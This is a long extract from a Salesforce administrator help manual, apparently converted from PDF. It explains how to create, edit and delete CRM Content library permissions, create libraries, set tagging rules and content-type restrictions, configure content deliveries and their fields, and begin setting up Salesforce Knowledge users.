Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Click Your Name > Setup > Customize > Salesforce CRM Content > Library Permissions to manage library permissions. A library permission is a group of privileges assigned to each Salesforce CRM Content library member. It determines which tasks a member can perform in a particular library. The same user can have a different library permission in each of his or her libraries. Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already has three library permissions: Library Administrator, Author, and Viewer. To create a custom library permission, click the Add Library Permissions button. To edit a library permission, click Edit next to the library permission name. To delete a library permission, click Del next to the library permission name. Note: Library permissions do not apply to personal libraries. All Salesforce CRM Content users can save files in their personal libraries.

See Also:
Customizing Salesforce CRM Content Setting Up Salesforce CRM Content

Creating Library Permissions

1357

Customize

Creating Library Permissions

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. To create a library permission in Salesforce CRM Content, click Your Name > Setup > Customize > Salesforce CRM Content > Library Permissions and click Add Library Permissions. Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already has Viewer, Author, and Library Administrator library permissions. If not, consider creating them. These three library permissions provide the different levels of library access required for most organizations. For the Viewer library permission, select the View Comments and Add Comments library privileges. For the Author library permission, select the Add Content, Add Content on Behalf of Others, Archive Content, Add Comment, and Tag Content library privileges. For the Library Administrator permission, select the Manage Library privilege. 1. Assign a name to the library permission. 2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can view and comment on documents. 3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this library permission. Library Privilege
Manage Library

Description Perform any action in the library. This privilege is required to edit the libraries' name and description, add or remove library members, or delete a library. Creating a new library requires the Manage Salesforce CRM Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content versions, or restore archived (deleted) content. Content authors can also change any tags associated with their content and archive or delete their own content. Choose an author when publishing content in the library. Archive and restore any content in the library.

Add Content on Behalf of Others Archive Content

1358

Customize

Editing Library Permissions

Library Privilege
Delete Content

Description Delete any content in the library. Authors can undelete their own content from the Recycle Bin. Identify any content in the library as featured. Read comments posted to any content in the library. Post comments to any content in the library and view all comments in the library. Users can edit or delete their own comments. Edit or delete comments made to any content in the library. Add tags when publishing content or editing content details in the library. Create a content delivery using any files in the library. Make content from this library accessible in Chatter. Within Chatter, select a file from the library and attach it to a post or share it.

Feature Content View Comments Add Comments

Modify Comments Tag Content

Deliver Content Attach or Share Content within Chatter

4. Click Save.

See Also:
Managing Library Permissions Deleting, Archiving, and Restoring Content Customizing Salesforce CRM Content

Editing Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand.

1359

Customize

Editing Library Permissions

To edit a Salesforce CRM Content library permission, click Your Name > Setup > Customize > Salesforce CRM Content > Library Permissions and click Edit next to the appropriate permission. 1. Assign a name to the library permission. 2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can view and comment on documents. 3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this library permission. Library Privilege
Manage Library

Description Perform any action in the library. This privilege is required to edit the libraries' name and description, add or remove library members, or delete a library. Creating a new library requires the Manage Salesforce CRM Content or Create Libraries user permissions.

Add Content

Publish new content to the library, upload new content versions, or restore archived (deleted) content. Content authors can also change any tags associated with their content and archive or delete their own content. Choose an author when publishing content in the library. Archive and restore any content in the library. Delete any content in the library. Authors can undelete their own content from the Recycle Bin. Identify any content in the library as featured. Read comments posted to any content in the library. Post comments to any content in the library and view all comments in the library. Users can edit or delete their own comments. Edit or delete comments made to any content in the library. Add tags when publishing content or editing content details in the library. Create a content delivery using any files in the library. Make content from this library accessible in Chatter. Within Chatter, select a file from the library and attach it to a post or share it.

Add Content on Behalf of Others Archive Content Delete Content

Feature Content View Comments Add Comments

Modify Comments Tag Content

Deliver Content Attach or Share Content within Chatter

1360

Customize

Deleting Library Permissions

4. Click Save.

See Also:
Creating Library Permissions Deleting, Archiving, and Restoring Content Customizing Salesforce CRM Content

Deleting Library Permissions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete library permissions: Manage Salesforce CRM Content OR Manage Content Permissions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. To delete a customized library permission for Salesforce CRM Content: 1. Click Your Name > Setup > Customize > Salesforce CRM Content > Library Permissions. 2. Click Del next to the appropriate permission. 3. Review the list of affected users. The delete page shows all Salesforce CRM Content users who are assigned to the library permission in a particular library. If you delete the library permission, the user will lose access to that library. 4. Click Delete Permission to confirm. To assign a new library permission to a library member, see Viewing and Editing Libraries on page 266.

See Also:
Managing Library Permissions Creating Library Permissions Customizing Salesforce CRM Content

Customizing Content Settings

1361

Customize

Customizing Content Settings

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Salesforce CRM Content settings: Manage Salesforce CRM Content

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Click Your Name > Setup > Customize > Salesforce CRM Content > Settings to modify the defaults for your Salesforce CRM Content organization: Enable Salesforce CRM Content If this option is checked, Salesforce CRM Content is enabled for your organization. Autoassign feature licenses to existing and new users If this option is checked, Salesforce.com automatically attempts to assign Salesforce CRM Content feature licenses to all existing users. If there aren't enough licenses available, no licenses are assigned. Contact salesforce.com to request additional feature licenses. When a new user is created, a Salesforce CRM Content feature license is automatically assigned as long as licenses are available. A feature license corresponds to the Salesforce CRM Content User checkbox on the user detail page. Enable multilanguage search and contribute If this option is checked, a Language drop-down list is available when users publish, edit, or search for content. The Language drop-down list contains all languages that Salesforce supports. If a user does not choose a language when publishing content, that content is associated with the user's personal language by default. If the user's personal language setting is different from the organization's language, content published by that user is associated with the user's language, not the organization's language. Do not open PDFs in a separate window If this option is checked, downloaded PDFs open inline. If it is not checked, downloaded PDFs open in a separate window. To download a PDF file: Open the document's content details page and click Download. On the Content tab, hover over the PDF icon and click Download in the popup window. On the Content tab, select the PDF's checkbox and click Download.

Enable content pack creation If this option is checked, the Create New > Content Pack option displays on the Libraries tab and users can create content packs from any documents or files in their Salesforce CRM Content private or public libraries.

1362

Customize

Customizing Content Settings

If this option is not checked after users in your organization have already created content packs, those packs are not deleted and users can continue to modify metadata such as description, title, and custom fields. However, once content pack creation is no longer enabled, users cannot customize or modify existing packs. Specifically, the Clone & Customize button and the Edit > Edit Content Pack option on the content details page are unavailable. Enable enhanced document viewer If this option is checked, an enhanced set of navigation and customization options are available for the document viewer. The document viewer allows users to preview a document without downloading, whether the document be a content delivery sent to a lead, prospect, or colleague, a document viewed internally in Salesforce CRM Content, or a file in Chatter. The document viewer has three modes: the Preview tab on the content details page (preview mode), the content delivery URL (delivery mode), and full screen mode, which displays when you click the full-screen option on the content details page or in a content delivery. In Chatter, users can preview files in feeds, on file lists, and on the Files tab. The Enhanced document viewer setting provides the following capabilities to users who are viewing documents: In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page. The right-click menu is not available in preview mode. You can jump directly to a page by entering the page number and clicking Enter. This option is not available in full-screen mode. From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar. From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the Exit option to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also available on the toolbar. You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any mode. You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and use the keys as follows: Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document forward one page. Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document backward one page. Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the page. Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document down the page. Navigating with keyboard-arrow keys is not available in preview mode.

Enable Office 2007 previews in ContentPilot If this option is checked, Microsoft Office 2007 files, including PowerPoint, Word, and Excel can be previewed in their entirety in Salesforce CRM Content and Chatter. In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to you. The content details page provides document details at a glance,

1363

Customize

Customizing Content Settings

including document title, author, description, tags, libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word, Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed. You can also preview files in Chatter feeds, from the Files tab, from a file detail page, and from group and profile file lists. Note: If this option is unchecked after Office 2007 previews have been generated, those previews will no longer be available.

Show Chatter files in Salesforce CRM Content If this option is checked, searches in Salesforce CRM Content include files from Chatter. The search drop-down list on the Content and Libraries tabs, and the filters on the Content tab include All Files, Chatter Files, and My Chatter Groups. If this option is not checked, searches in Salesforce CRM Content don't include files from Chatter. The search drop-down list on the Content and Libraries tabs, and the filters on the Content tab include All Libraries, Personal Library, and any shared libraries the user is a member of.

See Also:
Customizing Salesforce CRM Content Uploading and Publishing Content Viewing and Editing Content Details Searching for Content

Creating Libraries

1364

Customize

Creating Libraries

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create libraries: Manage Salesforce CRM Content OR Create Libraries To add members to a library: Manage Salesforce CRM Content OR
Manage Library checked in your library permission

definition To assign library permissions to members: Manage Salesforce CRM Content OR


Manage Library checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Adding a new library in Salesforce CRM Content includes creating the library name and description, adding members to the library, and assigning library permissions that determine each member's privileges within the library. The maximum number of libraries allowed in a single organization is 2,000. Step 1: Creating a New Library 1. 2. 3. 4. Click New in the My Libraries section of the Libraries tab home page. Enter a name for the library. Each library in your organization must have a unique name. Optionally, enter a description for the library. Click the Save and Add Members button or, if you want to add members later, click the Save and Close button.

Step 2: Adding Library Members 1. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 2. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or public groups containing Salesforce CRM Content users. Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. 3. Click Add to add the members to the library. 4. Click Next.

1365

Customize

Assigning Library Tagging Rules

Step 3: Assigning Library Permissions to Members Select a library permission for each user or public group and click Save. For more information, see Managing Library Permissions on page 1356.

See Also:
Managing Libraries Viewing and Editing Libraries Salesforce CRM Content Overview

Assigning Library Tagging Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign a tagging rule to a library: Manage Salesforce CRM Content OR
Manage Libraries checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags to their files, content packs, Google docs, or Web links, thus enabling all library members to browse for content by tag. The tagging rule in a library determines how contributors can tag content; for example, the restricted-tagging rule does not allow contributors to create new tags. Library tagging rules are optional. By default, library contributors can enter any tag. To assign a tagging rule to a library: 1. On the Libraries tab, select a library from the My Libraries area. 2. Click Tagging Rules and choose one of the following options: Library Tagging Rule
Open Tagging

Description This rule places no restrictions on tagging. Contributors can enter any tag when publishing or editing content. While a tag is typed, Salesforce CRM Content autosuggests tags based on the contributor's recently used tags and the Popular Tags list. This rule also enables contributors to enter any tag when publishing or editing content, but contributors are also offered a list of suggested tags. If you select Guided Tagging,

Guided Tagging

1366

Customize

Assigning Library Tagging Rules

Library Tagging Rule

Description the next step prompts you to enter the suggested tags that you want to recommend to library contributors.

Restricted Tagging

This rule requires contributors to choose from the list of suggested tags. If you select Restricted Tagging, the next step prompts you to enter the list of suggested tags.

3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter in the field are added to the existing list of suggested tags in the library. 4. Click Save. Notes on Library Tagging Rules
Open Tagging is the default tagging rule.

If you publish, share, or move content to a library that uses restricted tags, you will receive an error if your content contains unsupported tags. When you share content from one library to another, the most restrictive tagging rule applies. For example: When content is shared between a restricted-tagging library and a guided- or restricted-tagging library, you can only choose tags that are common to both libraries. When content is shared between an open tagging library and a restricted-tagging library, you can only choose tags suggested in the restricted-tagging library.

If a restricted tagging rule is applied after content has already been published in the library and the existing content contains tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised. For example, if the Q3Forecast document has a market indicators tag and market indicators is not a suggested tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only when a user publishes a new version of the file or edits the file's tags on the content details page. Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and subscribe. Therefore, excessive tagging creates unnecessary clutter. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

See Also:
Viewing and Editing Libraries Creating Libraries

Restricting Content Types

1367

Customize

Restricting Content Types

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To restrict content types: Manage Content Types OR Manage Salesforce CRM Content

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. Administrators can create content types in Setup and then choose which content types are available in a particular library. Administrators can also choose the default content type for a library. To restrict the content types available in a library: 1. 2. 3. 4. 5. On the Libraries tab, select a library from the My Libraries area. Click Content Types. Optionally, change the default content type for the library. Select the Restrict the content types available in the library checkbox. Select one or both of the following options:
Allow content with any content type to be linked to this librarySelect this option if you

want to enable content published in other libraries to be shared to the library where you have restricted content types. The content in other libraries can be shared regardless of the content types used. Do not apply content type restrictions to existing contentSelect this option if you do not want to receive warnings regarding existing content in the library. You will not be alerted if existing content uses content types that you exclude from the library. This option refers to notifications only; existing content is not affected by restricted content types.

6. For each content type that you want to allow in the library, move it from the Available Content Types list to the Selected Content Types list. 7. Click Save. Notes on Restricting Content Types If the library already contains published content, selecting the Restrict the content types available in the library option automatically moves all the content types used by the published content to the Selected Content Types list. Deselecting the Restrict the content types available in the library option automatically moves any content types in the Selected Content Types list to the Available Content Types list. If you restrict content types, the default content type must be added to the Selected Content Types list. When changing a file's managing library, the file's content type must be permitted in the new managing library.

1368

Customize

Setting up Content Deliveries

When sharing a file into a library, the file's content type must be permitted in the shared library unless the Allow content with any content type to be linked to this library option is selected for the shared library.

See Also:
Viewing and Editing Libraries Setting Content Types Creating Libraries

Setting up Content Deliveries


Available in: All Editions except Database.com

User Permissions Needed To enable or disable content deliveries: Customize Application

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create a content delivery from the content details page or the Related Content related list. To enable or disable content deliveries for your organization: 1. Click Your Name > Setup > Customize > Content Deliveries > Settings and select or deselect the Enable content deliveries checkbox. If you do not have access to the Content Delivery feature, contact Salesforce Customer Support to activate it. Enable Chatter file links lets users create and share links to Chatter files. For more information, see Sharing Files via Link. 2. If you are enabling content deliveries and want recipients to be able to preview Office 2007 files, first select the Enable Office 2007 previews in content checkbox from Your Name > Setup > Customize > Salesforce CRM Content > Settings, and then select the Enable recipients to preview Office 2007 content deliveries checkbox from Your Name > Setup > Customize > Content Deliveries > Settings. Some Microsoft Office 2007 features don't display correctly in previews. 3. Choose a default option for content-delivery passwords. If you choose to require a password, users who create a content delivery receive a password when the delivery is generated; users must send the password and the delivery URL to delivery recipients. Delivery recipients are prompted for the password when they click the content-delivery URL:

1369

Customize

Setting up Content Deliveries

Password protection is optional and defaults to OFFIf this option is selected, users can choose to require a password when they create a content delivery, but the Require Password to Access Content field on the create-delivery wizard is not checked by default. Password protection is optional and defaults to ONIf this option is selected, the Require Password to Access Content field on the create-delivery wizard is checked by default. Users can uncheck the option if they do not want to require a password. Password protection is requiredIf this option is selected, a password is generated each time a content delivery is created. Users cannot opt out of the password requirement. Note: Content-delivery passwords display with the content-delivery URL when the delivery is created. You can also access the password on the delivery detail page for the life of the content delivery.

When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content Deliveries on page 278. Implementation Tips To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to 20,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again later. Salesforce may be able to increase rate limits on an exception basis. For more information, contact your sales representative. When you create a content delivery, Salesforce copies the original file and creates a new version of that file especially for online viewing. Note the following information concerning supported file types: Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views. Adobe PDF files are supported for online views, but copy-protected PDFs are not. JPG, BMP, GIF, and PNG are supported for online views. Any document over 25 MB is not supported for online views.

You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient can only download the document in its original file format. Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file such as colors and non-standard fonts may not display properly in the online version. If you are not happy with the quality of the online version, the content-delivery wizard gives you the option of making your content available for download in its original file format. Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option displays. Customer Portal and partner portal users cannot create content deliveries. Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date. Each time a content delivery's URL is clicked, Salesforce records the click as one view and distinguishes between internal and external views. An internal view is a view by a Salesforce user, for example, clicking the delivery URL on the delivery detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries related list provides a count of all views for each delivery. Open the delivery details page to see information about a specific view. Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL regardless of whether he or she enters the password and views the delivery.

1370

Customize

Content Delivery Fields

To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery. Salesforce CRM Content users can deliver content from shared libraries or a personal library.

Best Practices After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting in the original file displays properly in the online version. For example, colors and non-standard fonts may not display properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to make your content available in its original file format or as a PDF file only. Your recipients will be able to download the file, and you can track whether the file was downloaded on the delivery detail page. Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all file types are also unsupported. See the implementation tips for a complete list of supported file types. Because content-delivery URLs can be sent to leads, customers, or any unauthenticated user, Salesforce recommends requiring password protection if your users will send confidential documents via content delivery. The options below allow you to select an organization-wide default for content-delivery password protection. If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select the Content Delivery Opens Latest Version checkbox. If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed for the first time.

Storage Implications In Salesforce CRM Content, file storage is consumed when content is published to shared libraries or saved to a private library. Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload files to their personal libraries for the purpose of content delivery should consider their organization's file-storage limits. Administrators can use reporting to identify which users are consuming the most storage and which files are largest in size. For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to Salesforce, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce, thus increasing file-storage space. For information about storage limits, see Monitoring Resources on page 704.

See Also:
Viewing and Editing Content Deliveries Salesforce CRM Content Overview

Content Delivery Fields


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page.

1371

Customize

Content Delivery Fields

Field
Allow Recipient to View in the Browser

Description If checked, the content delivery can be viewed online in a custom Web page. On the delivery details page, this field is labeled Allow View in the Browser. If checked, the content delivery converts Microsoft Word, Excel, and PowerPoint files into PDF files and gives the recipient the option of downloading the PDF. If the file you uploaded was not a PDF, Word, Excel, or PowerPoint file, this option does not appear in the create-delivery wizard. On the delivery details page, this field is labeled Allow Download as PDF. If checked, the content delivery allows recipients to download the original file. In the create-delivery wizard, this field is called Allow Recipient to Download as [file type] where [file type] is the original file's file type, such as .ppt, .pdf, or .doc. For Salesforce CRM Content files, the user who published the file. (Read only) The name assigned to the content delivery. By default, the Content Delivery Name includes the file name and the creation date. For Salesforce CRM Content files, this flag indicates that the recipient of a content delivery sees the most current version of a file. For example, if a file is updated between the delivery-creation date and today's date, a recipient who views the delivery today sees the newest version. A flag that indicates whether access to the content delivery will expire on the expiration date. In the create-delivery wizard, this flag corresponds to the checkbox next to the Remove access to content on field. The user who created the content delivery, including creation date and time. (Read only) For Salesforce CRM Content files, the description provided when the file was published. (Read only) The date on which the content delivery can no longer be viewed. In the create-delivery wizard, this is the date entered in the Remove Access to Content on field. A flag that indicates whether a file in the content delivery was downloaded. For example, if a content delivery includes options to view the content in the browser, download the content in its original file format, and download the content as a PDF file, this flag is checked if the recipient downloads the original file or the PDF file. (Read only)

Allow Recipient to Download as PDF

Allow Download in Original Format

Author

Content Delivery Name

Content Delivery Opens Latest Version

Content Delivery Expires

Created By

Description

Expiration Date

File Downloaded

1372

Customize

Content Delivery Fields

Field
Internal View

Description A flag that indicates whether a Salesforce user viewed the content delivery. A view is considered internal if the user opens the delivery URL from within Salesforce, for example by clicking View on the Content Deliveries related list or clicking the delivery URL on the delivery detail page. If the user copies the URL and pastes it into his or her browser, the view is considered external. (Read only) The user who last modified the content delivery, including modification date and time. (Read only) The date and time on which the content delivery was last viewed. A view is one click of the content-delivery URL. (Read only) If checked, the user who created the content delivery receives an email notification the first time the content delivery URL is clicked. The user who owns the content delivery. (Read only) The record that the content delivery is associated with, such as an account, opportunity, or custom object. Users with sharing access to the record can click it to view more details. If checked, the recipient must enter the provided password before viewing the content delivery. The password appears when the content delivery is generated and for the life of the delivery on the delivery detail page. For Salesforce CRM Content files, the title of the file included in the content delivery. (Read only) Total number of views for the content delivery, including internal and external. (Read only)

Last Modified By

Last Viewed

Notify Me of First View or Download

Owner Name Related To

Require Password to Access Content

Title

View Count

See Also:
Creating Content Deliveries Viewing and Editing Content Deliveries

CONFIGURING SALESFORCE KNOWLEDGE


Setting Up Salesforce Knowledge
1373

Customize

Setting Up Salesforce Knowledge

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge To manage synonyms: To create data categories: Manage Synonyms Manage Data Categories

As a knowledge base administrator, getting started involves choosing how your articles will be formatted and published, then making the knowledge base available to authors, reviewers, publishers, and others on your team. After initial setup you can enable numerous settings, such as making articles available to customers, partners, and public website visitors. Before setting up Salesforce Knowledge, make sure that you are a Salesforce Knowledge user: go to Your Name > Personal Setup > Personal Info and ensure that the Knowledge User checkbox is selected. Getting Started with Salesforce Knowledge Complete the following steps to give internal users the ability to manage and view articles: 1. Click Your Name > Setup > Customize > Knowledge > Article Types and create one or more article types. Note: Before users can access article types, an administrator must set object permissions for article types. For more information, see Object Permissions on page 551. 2. Click Your Name > Setup > Customize > Knowledge > Settings. Confirm that you want to enable Salesforce Knowledge and click Enable Knowledge. 3. Choose a Default Knowledge Base Language. This is the language your authors will use to write most of the articles. We recommend that your Default Knowledge Base Language and your organization's language be the same. 4. Create the category groups and individual categories that authors will assign to articles. Categories help agents, customers, partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1444 for more details. 5. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories are visible only to certain roles in the role hierarchy. See Editing Role-Based Category Group Visibility on page 1455 for details. 6. Give internal users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license: a. Click Your Name > Setup > Manage Users > Users. b. Click Edit next to the user's name or click New to create a new user. c. Select the Knowledge User checkbox. Note: For instructions on giving portal users access to Salesforce Knowledge, see Customizing Salesforce Knowledge.

1374

Customize

Overview of Setting Up Salesforce Knowledge Users

7. Verify that the profile assigned to each user has the appropriate Salesforce Knowledge user permissions enabled. For more information see Granting Permissions for Salesforce Knowledge Users on page 1375. 8. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add the Article Management or Articles tab to an existing tab set. Note the following: All users with access to Salesforce Knowledge can see the Articles tab. Users with the Manage Articles user permission can see the Article Management tab.

See Also:
What is Salesforce Knowledge? Creating a Public Knowledge Base with Salesforce Knowledge Salesforce Knowledge Implementation Guide Granting Permissions for Salesforce Knowledge Users Creating and Assigning Salesforce Knowledge Users and Groups Customizing Salesforce Knowledge

Overview of Setting Up Salesforce Knowledge Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

To give people in your company access to various features in Salesforce Knowledge, you need to create Knowledge user profiles with the appropriate user permissions, and then assign users to these profiles. In addition, you need to specify which users in your company areSalesforce Knowledge users. Optionally, you may want to create public groups for certain article actions, such as publishing, translating, or archiving. Granting Permissions for Salesforce Knowledge Users Creating and Assigning Salesforce Knowledge Users (Optional) Assigning Article Actions to Public Groups

Granting Permissions for Salesforce Knowledge Users

1375

Customize

Granting Permissions for Salesforce Knowledge Users

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

User permissions control access to different features in Salesforce Knowledge. We recommend using permission sets or custom profiles to grant users the permissions they need. For example, you might want to create a permission set called Article Manager that includes the permissions needed to create, edit, publish, and assign articles. When creating Salesforce Knowledge profiles, keep the following in mind. Users who will create article types, manage article actions, and modify settings in Your Name > Setup > Customize > Knowledge need the Manage Salesforce Knowledge permission. This permission is on by default in the System Administrator profile. Users who will search for and view articles from the Articles tab need the Read permission for the article types they need to access. Users who will edit draft articles, manage the publishing process, or manage the translation process need the Manage Articles permission and the appropriate article type permissions. Manage Articles is on by default in the System Administrator profile. Users with the Manage Articles permission are assigned all article actions automatically. Article actions allow users to do things like publish and archive articles or manage the translation process. Users who will create data categories need the Manage Data Categories permission. This permission is on by default in the System Administrator profile. Users who will import articles or import or export translations need the Read, Create, Edit, and Delete permissions.

Refer to this table for details on permissions associated with Salesforce Knowledge functionality. Permissions Salesforce Knowledge Functionality Manage Manage Manage Salesforce Articles Knowledge Knowledge Article Import/Export Article Type-Specific Permissions Read Create Edit Delete Other Article Action

Create article type Manage article actions Create new article from case Search articles from case and attach articles to case Create new article from answer

1376

Customize

Granting Permissions for Salesforce Knowledge Users

Permissions Salesforce Knowledge Functionality Manage Manage Manage Salesforce Articles Knowledge Knowledge Article Import/Export

Article Type-Specific Permissions Read Create Edit Delete

Other Article Action

Search for and read articles from Article tab Create or edit article from Article Management tab Edit draft article from Article Management tab Delete article (version or entire) from Article Management tab Publish article from Article Management tab Assign article from Article Management tab Edit published or archived article Archive article from Article Management tab Submit articles for translation Delete translated articles Publish translated articles Edit translated articles Import articles Import and export translated articles

See Also:
Creating and Assigning Salesforce Knowledge Users and Groups Setting Up Salesforce Knowledge Overview of User Permissions and Access

Creating and Assigning Salesforce Knowledge Users and Groups

1377

Customize

Creating and Assigning Salesforce Knowledge Users and Groups

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

